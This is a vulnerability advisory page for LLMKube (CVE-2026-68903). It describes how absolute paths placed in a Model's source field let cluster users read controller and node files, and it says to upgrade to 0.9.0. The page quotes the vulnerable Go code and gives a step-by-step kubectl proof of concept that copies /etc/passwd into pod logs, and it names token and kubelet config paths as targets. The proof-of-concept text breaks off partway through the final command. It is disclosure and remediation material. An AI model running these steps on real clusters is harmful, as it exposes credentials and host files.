CVE-2026-68903: LLMKube: Arbitrary Host File Read via Model.spec.source hostPath Injection

High CVSS 7.7

OSV id
GHSA-jw3m-8q7m-f35r
Also known as
CVE-2026-68903
Published
Last modified

Affected packages

PackageAffected versionsFixed in
github.com/defilantech/llmkube
Go
< 0.9.0 0.9.0

How to fix it

Upgrade github.com/defilantech/llmkube to 0.9.0 or later.

go get github.com/defilantech/llmkube@v0.9.0
go mod tidy
  • Indirect Go modules are upgraded the same way (`go get module@version`).
  • Check the changelog for breaking changes (especially across major versions), update the lockfile with the package manager, and run your tests.

Not sure whether your project uses an affected version? Check your lockfile below for free.

Details

Summary

LLMKube's ModelReconciler accepts arbitrary absolute paths and file:// URIs in the Model.spec.source field and propagates them to two distinct sinks without path allowlisting: (1) os.Open() inside the controller pod itself (copyLocalModel), and (2) a Kubernetes HostPathVolumeSource that mounts the attacker-supplied path into the inference pod's init container. Any namespace user with permission to create or update Model and InferenceService custom resources can read arbitrary files accessible to the controller pod (e.g., the controller's own Kubernetes service-account token) or arbitrary files on the node where the inference pod is scheduled (e.g., /etc/kubernetes/kubelet.conf). Model caching, the feature that activates the hostPath sink, is enabled by default in both the CLI and the official Helm chart. CVSS v3.1 Base Score: 7.7 (High).

Details

Entry point — Model.spec.source field

The Source field in api/v1alpha1/model_types.go:47-48 carries a kubebuilder validation pattern that explicitly permits absolute paths:

// +kubebuilder:validation:Pattern=`^(https?|file|pvc|hf)://.*|^/[^\s]+$|^[a-zA-Z0-9][\w\-\.\/]+$`
Source string `json:"source"`

The branch ^/[^\s]+$ matches any non-whitespace absolute path on the host.

Sink 1 — Controller-pod arbitrary file read (copyLocalModel)

internal/controller/source.go:93-103 classifies a source as local and extracts the path with no sanitization:

// isLocalSource: returns true for any "/" prefix or "file://" prefix
func isLocalSource(source string) bool {
    return strings.HasPrefix(source, "/") || strings.HasPrefix(source, "file://")
}

// getLocalPath: strips "file://" prefix only; no canonicalization, no allowlist
func getLocalPath(source string) string {
    return strings.TrimPrefix(source, "file://")
}

internal/controller/model_controller.go:241 passes the attacker-controlled source into fetchModel, which reaches copyLocalModel at line 664-667:

f, err := os.Open(localPath)   // localPath = getLocalPath(model.Spec.Source)

An attacker sets model.spec.source: /var/run/secrets/kubernetes.io/serviceaccount/token; the controller opens its own SA token and writes it to the model-cache PVC, which the attacker can subsequently read.

Sink 2 — Node arbitrary file read via HostPathVolumeSource

internal/controller/model_storage.go:560-568 converts the same path into a Kubernetes host volume with no canonical-root check:

if isLocalModelSource(model.Spec.Source) {
    localPath := getLocalPath(model.Spec.Source)
    volumes = append(volumes, corev1.Volume{
        Name: "host-model",
        VolumeSource: corev1.VolumeSource{
            HostPath: &corev1.HostPathVolumeSource{
                Path: localPath,
                Type: func() *corev1.HostPathType { t := corev1.HostPathFile; return &t }(),
            },
        },
    })
    initVolumeMounts = append(initVolumeMounts, corev1.VolumeMount{
        Name:      "host-model",
        MountPath: "/host-model/model.gguf",
        ReadOnly:  true,
    })
}

internal/controller/deployment_builder.go:248-250 calls buildModelStorageConfig, and lines 329-333 embed storageConfig.volumes directly into the generated Deployment's PodSpec. When the inference pod starts, the init container copies the node file to the model-cache PVC.

The only filename-level sanitization is in internal/controller/filename.go:44-75, which constrains the destination basename only and has no effect on HostPath.Path.

Model caching is enabled by default: cmd/main.go:120 and charts/llmkube/values.yaml:274 (modelCache.enabled: true).

PoC

Prerequisites

  • LLMKube 0.8.27 or 0.8.28 installed with default Helm values (modelCache.enabled=true).
  • Attacker possesses create/update permissions for Model and InferenceService CRDs in a target namespace, plus get on Pod logs.

Path A — Live Kubernetes cluster (hostPath sink)

```sh NS=llmkube-poc kubectl create ns "$NS"

Step 1: Create a Model whose source points to a sensitive node file

cat <<'YAML' | kubectl apply -n "$NS" -f - apiVersion: inference.llmkube.dev/v1alpha1 kind: Model metadata: name: hostread spec: source: /etc/passwd YAML

kubectl wait -n "$NS" --for=jsonpath='{.status.phase}'=Ready \ model/hostread --timeout=180s

CACHEKEY="$(kubectl get model hostread -n "$NS" \ -o jsonpath='{.status.cacheKey}')" BASENAME="$(basename \ "$(kubectl get model hostread -n "$NS" -o jsonpath='{.status.path}')")"

Step 2: Create an InferenceService that prints the copied file

cat <<YAML | kubectl apply -n "$NS" -f - apiVersion: inference.llmkube.dev/v1alpha1 kind: InferenceService metadata: name: hostread spec: modelRef: hostread runtime: llamacpp image: busybox:1.36 command: ["sh","-c","cat /models/${CACHEKEY}/${BASENAME}; sleep 3600"] YAML

Step 3: Retrieve the exfiltrated file

kubectl logs -n "$NS" deploy/

References

Am I affected?

Upload or paste your lockfile. We check every package version in it against OSV.dev, this advisory included, and email you the vulnerable ones with the version that fixes them. Free, and no account needed.

or paste its content

Needed when you paste. package.json and pyproject.toml only have version ranges: use the lockfile next to them.

Only package names and versions are checked; the file itself is not kept. We use your email to send this report and nothing else unless you tick the box above. Privacy policy.

About this data

Source: GitHub Advisory Database via OSV.dev (CC-BY 4.0). Severity comes from the advisory's own rating when it has one, else from its CVSS score.